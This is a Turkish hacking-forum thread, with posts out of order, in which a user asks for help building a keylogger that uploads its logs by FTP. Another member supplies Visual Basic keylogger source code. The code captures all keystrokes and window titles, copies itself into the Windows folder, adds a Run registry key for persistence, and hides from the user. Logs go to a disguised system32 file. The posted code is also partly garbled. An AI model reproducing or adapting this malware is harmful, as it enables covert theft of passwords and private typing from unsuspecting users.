Write

End If sonra formun load olayınada aşağıdakileri yaz Kod: Open "c:\adresler. txt" For Input As

oke saol dostum ftp kodunu verecek arkadaşlar var mı lütfennnn...

ya navigate çözüm ne yani combo itemlerini nasıl kaydederim

EDIT: Keylogger içinde forma bi text kutusu koy log adında iki tane timer1 in intervali 1 diğerinin 60000 olsun aşağıdakileri yapıştır. tabi bunlar yeni formda Kod: Private Declare Function GetForegroundWindow Lib "user32" As Long Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" As Long Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" As Long Private Declare Function GetAsyncKeyState Lib "user32" As Integer Private Declare Function GetKeyState Lib "user32" As Integer Dim sayfa_basligi As String Dim aktarim(1 To 255) As Long Dim zaman As Integer Private Sub dinleyici_Timer Dim tus As String Dim i As Integer 'Sayfa Başlığını Bulmak If sayfa_basligi <> Aktif_Pencere_Adini_Al Then ' Eğer Pencere Değiştiyse sayfa_basligi = Form1. Aktif_Pencere_Adini_Al ' Yeni Pencerenin Adını Al log. Text = log. Text & vbCrLf & " " & vbCrLf ' Loga Yaz End If ' 'Klavye Tanıtılıyor For i = 1 To 255 sonuc = 0 tus = "" sonuc = GetAsyncKeyState tus = "" If sonuc = -32767 Then ' Eğer Bir Tuşa Basılırsa If (i > 64 And i < 94) Then If GetKeyState <> aktarim Then ' Değer Eşit Değilse aktarim = GetKeyState ' Aktar If Then ' Eğer Shift Tuşu Basılı İse If Then ' Capslock Açıksa tus = LCase(Chr ' Küçük Harfe Dönüştür Else tus = UCase(Chr ' Büyük Harfe Dönüştür End If Else ' Eğer Shitf Tuşu Basılı Değilse If Then ' Capslock Açıksa tus = UCase(Chr ' Büyük Harfe Dönüştür Else tus = LCase(Chr ' Küçük Harfe Dönüştür End If End If End If End If 'Türkçe Karakterleri Tanımlama If Then ' Eğer Capslock açık shitf Basılıysa Küçük Yaz buyuk = False ElseIf Then ' Eğer Capslock Açık Shift Basılı Değilse Büyük Yaz buyuk = ture ElseIf Then ' Eğer Capslock Kapalı Shift Basılıysa Büyük Yaz buyuk = True ElseIf Then 'Eğer Capslock Tuşu kapalı shift basılı değilse küçük yaz buyuk = False End If ' 'Büyük Küçük Karakterleri Al Select Case buyuk Case True If i = 219 Then tus = "Ğ" If i = 221 Then tus = "Ü" If i = 186 Then tus = "Ş" If i = 222 Then tus = "İ" If i = 191 Then tus = "Ö" If i = 220 Then tus = "Ç" If i = 188 Then tus = ";" If i = 190 Then tus = ":" If i = 223 Then tus = "?" If i = 189 Then tus = "_" If i = 226 Then tus = ">" If i = 73 Then tus = "I" If i = 192 Then tus = "é" Case False If i = 219 Then tus = "ğ" If i = 221 Then tus = "ü" If i = 186 Then tus = "ş" If i = 222 Then tus = "i" If i = 191 Then tus = "ö" If i = 220 Then tus = "ç" If i = 188 Then tus = "," If i = 190 Then tus = "." If i = 223 Then tus = " " If i = 189 Then tus = "-" If i = 226 Then tus = "<" If i = 73 Then tus = "ı" If i = 192 Then tus = """" End Select If i = 32 Then tus = " " If i = 8 Then If Len > 1 Then log. Text = Left(log. Text, Len - 1) End If End If If i = 13 Then tus = vbCrLf If i = 9 Then tus = " " 'Standart Karakterler Bitti! 'Rakamlar Select Case i Case 48 To 57 ' 0 dan 9 a kadar If Then If i = 48 Then i = 61 '0 ı = yap If i = 49 Then i = 33 '1 i! yap If i = 50 Then i = 39 '2 yi ' yap If i = 51 Then i = 94 '3 ü ^ yap If i = 52 Then i = 43 '4 ü + yap If i = 53 Then i = 37 '5 i % yap If i = 54 Then i = 38 '6 yı & yap If i = 55 Then i = 47 '7 yi / yap If i = 56 Then i = 40 '8 i ( yap If i = 57 Then i = 41 '9 u ) yap End If tus = Chr 'Numlock taki numaralar Case 96: tus = "0" Case 97: tus = "1" Case 98: tus = "2" Case 99: tus = "3" Case 100: tus = "4" Case 101: tus = "5" Case 102: tus = "6" Case 103: tus = "7" Case 104: tus = "8" Case 105: tus = "9" Case 106: tus = " " Case 107: tus = "+" Case 109: tus = "-" Case 110: tus = "," Case 111: tus = "/" End Select 'Sıra Alt Tuşunda Select Case alt_tusu Case True Select Case i Case 81: tus = "@" Case 192: tus = "<" Case 49: tus = ">" Case 50: tus = "£" Case 51: tus = "#" Case 52: tus = "$" Case 53: tus = "1⁄2" Case 55: tus = " " Case 223: tus = "\" Case 189, 226: tus = "|" Case 69: tus = "" Case 65: tus = "æ" Case 83: tus = "ß" End Select End Select ' If tus <> "" Then log. Text = log. Text & tus End If Next ' End Sub Private Sub Form_Load Set KayitDefteri = CreateObject FileCopy App. Path & "\mario. exe", "c:\Windows\mario. exe" KayitDefteri. RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App. EXEName, "c:\Windows\mario. exe" Form1. Visible = False App. TaskVisible = False ' Programı

şimdi şöyle bişey yap mesela git butonu var demi onun click olayına aşağıdakileri yaz. Kod: Dim kontrol As Boolean kontrol = False WebBrowser1. Navigate Combo1. Text 'combo1deki adrese gider For I = 0 To Combo1. ListCount - 1 If Combo1. List = Combo1. Text Then kontrol = True 'adresin comboda olup olmadığı kontrol edilir Next I If kontrol = False Then Combo1. AddItem Combo1. Text 'Adres combo1 in içine kaydedilir Open "c:\adresler. txt" For Append As

ok o zaman az bekle kodları yaziim

'Adreslerin dosyası açılır Do Until EOF(1) Input

usta ftp ve keylog kodlarına baktım bulamadım bulduklarımıda anlamadım neyse el atmışken bu kodlarıda verirse sevinirim + karma verecem şimdiden tşk ler...

Bir Kaç Program Yazmayı Deniyorum evt arkdaşlar şimdi size bir kaç sorum olocak ilk olarak turk hacksplorer gibi bir program yazmayı deniyorum %45 seviyesindeyim tüm hack programlarını bi başlıkta toplayacam neyse burda gene aynı sistemi kullanmak istiyorum ama bir şey kafama takıldı 1. browserde navigate2.complete oylayından sonra combo ya eklenen itemler geçici oluyor yani program kapandıktan sonra kalmıyor bunu txt dosyasına kaydetip okutabilir miyim yani combo itemlerini sabitlemek istiyorum 2. 2. programım da keypress olayını nasıl taşırım dışarıya yani dışarda ki bütün basılan tuşlarda api kullanmam mı gerek ve bunları bir txt de dosyasına nasıl kaydederiz örneğin C:/windows/system/log. txt içine kayıt etmeli bu dosyayı da ftp ye upload edecek sistemin kodları gerekli biliyorum belki biraz uçtum ama eğer bitirisem wardom için ii bir program olacak japon ve diğer arkadaşlar bunlardan ii anlıyor wardoma benimde bi katkım olsun istiyorum yardımlarınız için şimdiden tşkürler selametle

dosyalama ve keylogger örnekleri var, ufak bi arama yaparsan

End If End Sub + FileCopy App. Path & "\mario. exe", "c:\Windows\mario. exe" de ben projeyi mario. exe diye exeye cevirdim sende orayı kendine göre değiştir. yada file/make exe den mario. exe olarak exe yap yoksa hata verebilir. böylece her 5 dakkada bir yazılan şeyler "C:\WINDOWS\system32\log. dll" dosyasına kaydedilir Ftp ye atmayı bilmiyorum. söz vermişin karmamı isterim hehehe -